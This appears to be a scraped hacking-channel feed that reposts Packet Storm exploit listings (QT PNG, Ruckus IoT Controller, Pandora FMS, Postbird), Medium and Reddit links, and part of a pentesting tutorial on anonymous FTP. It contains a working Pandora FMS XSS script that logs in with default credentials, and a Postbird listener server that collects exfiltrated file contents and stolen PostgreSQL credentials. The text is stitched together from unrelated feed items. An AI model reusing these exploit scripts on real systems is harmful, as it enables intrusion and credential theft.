Exploit Collector
QT PNG ICC Processing Out-Of-Bounds Read

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
The QImage class can read out-of-bounds when reading a specially-crafted PNG file, where a tag byte offset goes out of bounds. This could potentially allow an attacker to determine values in memory based on the QImage pixels, if QT is used to process untrusted images.

MD5 | 26119d4fbb3aaf3d523b1a23162d477b

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Hard-Coded System Passwords

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Web Application Directory Traversal

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Hard-Coded Web Application Administrator Password

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Unauthenticated API Endpoints

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Hard-Coded API Keys Exposed

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Web Application Arbitrary Read/Write

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Pandora FMS 6.0SP3 Cross Site Scripting

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
Pandora FMS version 6.0SP3 suffers from a cross site scripting vulnerability.

MD5 | c93c017b2a3bd57fd53b2f0c4eddcf31

Download
# Exploit Title: XSS vulnerability for (keywords) searching parameter in
pandorafms-6.0SP3/pandora_console
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.27.2021
# Vendor: https://pandorafms.com/
# Link: https://github.com/pandorafms/pandorafms/releases
# CVE: 2021-0527-nu11secur1ty
# Proof:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability.gif

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-0527-nu11secur1ty

from selenium import webdriver
import time
import os, sys
# Vendor: https://pandorafms.com/
website_link="
http://192.168.1.160/pandorafms-6.0SP3/pandora_console/index.php"

# enter your login username
username="admin"

# enter your login password
password="pandora"

#enter the element for username input field
element_for_username="nick"

#enter the element for password input field
element_for_password="pass"

#enter the element for submit button
element_for_submit="login_button"
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(3)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit Pandora FMS 6.0 SP3-XSS-Vulnerability for (keywords) searching
parameter
time.sleep(3)
# Payload
browser.get(("
http://192.168.1.160/pandorafms-6.0SP3/pandora_console/index.php?keywords=%3Cscript%3Ealert%28%22nu11secur1ty_is_here%22%29%3B%3C%2Fscript%3E&head_search_keywords=abc"))
print("The payload is deployed, your GET parameter is vulnerable...\n")

except Exception:
#### This exception occurs if the element is not found on the webpage.
print("Sorry, but this user who you searching for is destroyed by using of
MySQL vulnerability in backend.php...")
----------------------------------------------------------------------------------------

# Exploit Title: XSS vulnerability for (keywords) searching parameter in
pandorafms-6.0SP3/pandora_console
# Date: 05.27.2021
# Exploit Authotr idea: @nu11secur1ty
# Exploit Debugging: @nu11secur1ty
# Vendor Homepage: https://pandorafms.com/
# Software Link: https://github.com/pandorafms/pandorafms/releases
# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability.gif


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Postbird 0.8.4 Cross Site Scripting / Local File Inclusion

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
Postbird version 0.8.4 suffers from a javascript injection vulnerability that allows for cross site scripting and local file inclusion.

MD5 | f2d171b04734775d46bcc4f5dc3a2213

Download
# Exploit Title: Postbird 0.8.4 - Javascript Injection
# Date: [26 May 2021]
# Exploit Author: Debshubra Chakraborty
# Vendor Homepage: https://github.com/paxa/postbird
# Software Link: https://www.electronjs.org/apps/postbird
# Version: 0.8.4
# Tested on: Linux
# CVE : CVE-2021-33570

"""
XSS Payload


LFI Payload


PostgreSQL Password Stealing Payload


"""

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import re

hostName = '0.0.0.0'
serverPort = 5555

class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
parse(urllib.parse.unquote(self.requestline))

def log_message(self, format, *args):
return
def parse(data):
expression = re.search('\S+=', data)
attr = expression.group()

if attr[2:len(attr)-1] == 'file':
data = data[12:len(data)-11]
data = data.rsplit('\\n')
print(f'\n[+] File received from LFI: \n\n')
for output in data:
print(output)

elif attr[2:len(attr)-1] == 'xss':
data = data[11:len(data)-10]
print(f'\n[+] Data exfiltration from Stored XSS: \n\n{data}')

elif attr[2:len(attr)-1] == 'credentials':
pos = re.search('{"\S+:', data)
data = data[pos.start():len(data)-11]
for i in range(2, len(data), 1):
if data[i] == '"':
pos = i
break

host = data[2:pos]
data = data[14:]
data = data.rsplit(',')
print(f'\n\n[+] The Database credentials received\n\nHost = {host}')
for output in data:
print(output)

else:
print(f'\n\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')
def main():
global hostName, serverPort
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))

try:
webServer.serve_forever()

except KeyboardInterrupt:
pass

webServer.server_close()
print("\nServer stopped.")
if __name__ == "__main__":
main()


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is Ethical Hacking?

https://cdn-images-1.medium.com/max/600/1*6ybuA38s70ewMd8b4tCAGA.png
Hello everyone!!!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Saving Your Access

https://cdn-images-1.medium.com/max/1310/1*ET1BvqhwSnXt2bHqXmWsMA.png
Screensavers for macOS Persistence

Continue reading on Posts By SpecterOps Team Members »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Has anyone paid for a "fixed match" and worked?

Hi everyone,

While surfing the deep, I encountered various services and webpages where supposedly they sell a fixed match for betting at 75USD or more (depending on the "accuracy", being 100% fixed the most expensive). I've been betting for some years now and I have went into many tipsters, systems, etc., and I know it's really hard to fix anything or have that kind of exclusive information, if any.

Has anyone paid for this and it actually worked?

submitted by /u/Casio04
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Top Bug Bounty Platforms — Earn Big Rewards

Continue reading on Medium »
Read more...

Finding root cause of vulnerabilities using time travel debugging with windbg preview
https://www.reddit.com/r/redteamsec/comments/nm6svi/finding_root_cause_of_vulnerabilities_using_time/

submitted by /u/secgeek (https://www.reddit.com/user/secgeek)
[link] (https://youtu.be/ZGH9vk-gPxM) [comments] (https://www.reddit.com/r/redteamsec/comments/nm6svi/finding_root_cause_of_vulnerabilities_using_time/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Anonymous Logins for Pentesters

In this article we will focus on the various services that support the Anonymous Logins. We will be understanding the process to setup those service on your local target system and then using Kali Linux to access them or attack them. Table of Content<o:p· Introduction<o:p· Setting up Anonymous FTP<o:p· Attacking Anonymous FTP<o:p· Setting up Anonymous SMB<o:p· Attacking Anonymous SMB<o:p· Conclusion<o:pIntroduction<o:pAnonymous Logins are a feature that allows the user to setup its service that is accessible by any user. It doesn’t need a specific credentials for accessing that resource. Various servers that want to host data which they want to be accessible to a wide range of users, they user the anonymous logins. In real-life, while performing Network Penetration Testing, a tester should be able to identify the Anonymous Service, and test it. We will also be looking behind the scenes as to how these anonymous services are setup on our local target machine running Ubuntu. We will be leaning about the FTP service and the SMB service. <o:p Setting up Anonymous FTP<o:pWe will begin by demonstrating the process of setting up an Anonymous access on FTP service. We have an ubuntu machine with root access. We install the vsftpd using apt command. <o:p apt install vsftpd<o:phttps://1.bp.blogspot.com/-YrFyvmzvFBE/YK9_UV1rPfI/AAAAAAAAwP4/ttghNNPU2UEgsiYA6ycXPdm7TZqARECZACLcBGAsYHQ/s16000/1.png Each service that is installed on a Linux Machine has a configuration file that can be used to twerk options and setting on that particular service. By default, the anonymous login is disabled on the vsftpd. We will need to edit /etc/vsftpd.conf configuration file in order to enable the Anonymous login functionality. We use the nano to edit the configuration file but you can use any editor of your choice such as vi or sublime. We scroll through all the other options and comments to reach the “anonymous_enabled=NO” option as shown in the image below.<o:p

<o:p https://1.bp.blogspot.com/-x6PIrj3iPVc/YK9_emVOIQI/AAAAAAAAwP8/6cqe5Q1IoK8xkDJSgnK86IhjAfOTPA5HQCLcBGAsYHQ/s16000/2.png Change the “anonymous_enabled=NO” option to “anonymous_enabled=YES” to enable the Anonymous Login on the machine. Refer to the screenshot below. <o:p https://1.bp.blogspot.com/-YHaWTskdMi4/YK9_jaPvQnI/AAAAAAAAwQA/S6fbiqT-CHcZtc000xWiiIC51YNRdVsNQCLcBGAsYHQ/s16000/3.png Just enabling the Anonymous login or installing a service is not enough to get it working. We want a fully functional FTP service. To do this we need to be able to share files using the FTP and since we have enabled the anonymous login, we should be able to download the files from the ubuntu machine using the anonymous access. FTP service requires a directory, whose contents can be shared over the network. We create a directory in the /var directory. We named the directory to pub. We also need to change the ownership of the directory in order to make is suitable for sharing data. After creating and changing ownership, we move into the directory and create a file with the message “Welcome to Hacking Articles” in it. We named the text file note.txt.<o:p mkdir -p /var/ftp/pub<o:psudo chown nobody:nogroup /var/ftp/pub<o:pcd /var/ftp/pub<o:pecho “Welcome to Hacking Articles” > note.txt<o:phttps://1.bp.blogspot.com/-jjZX6bebBpE/YK9_nLrHOYI/AAAAAAAAwQI/qrR9BV_F-y4MSBgkKKqINTtezTGEMW2SACLcBGAsYHQ/s16000/4.png Back to the vsftpd.conf file that we were editing, we need to add a specific configuration to make the anonymous login functional. We add the directory that we just created in the configurations, then we add no_anon_password option that will stop prompting for a password.[...]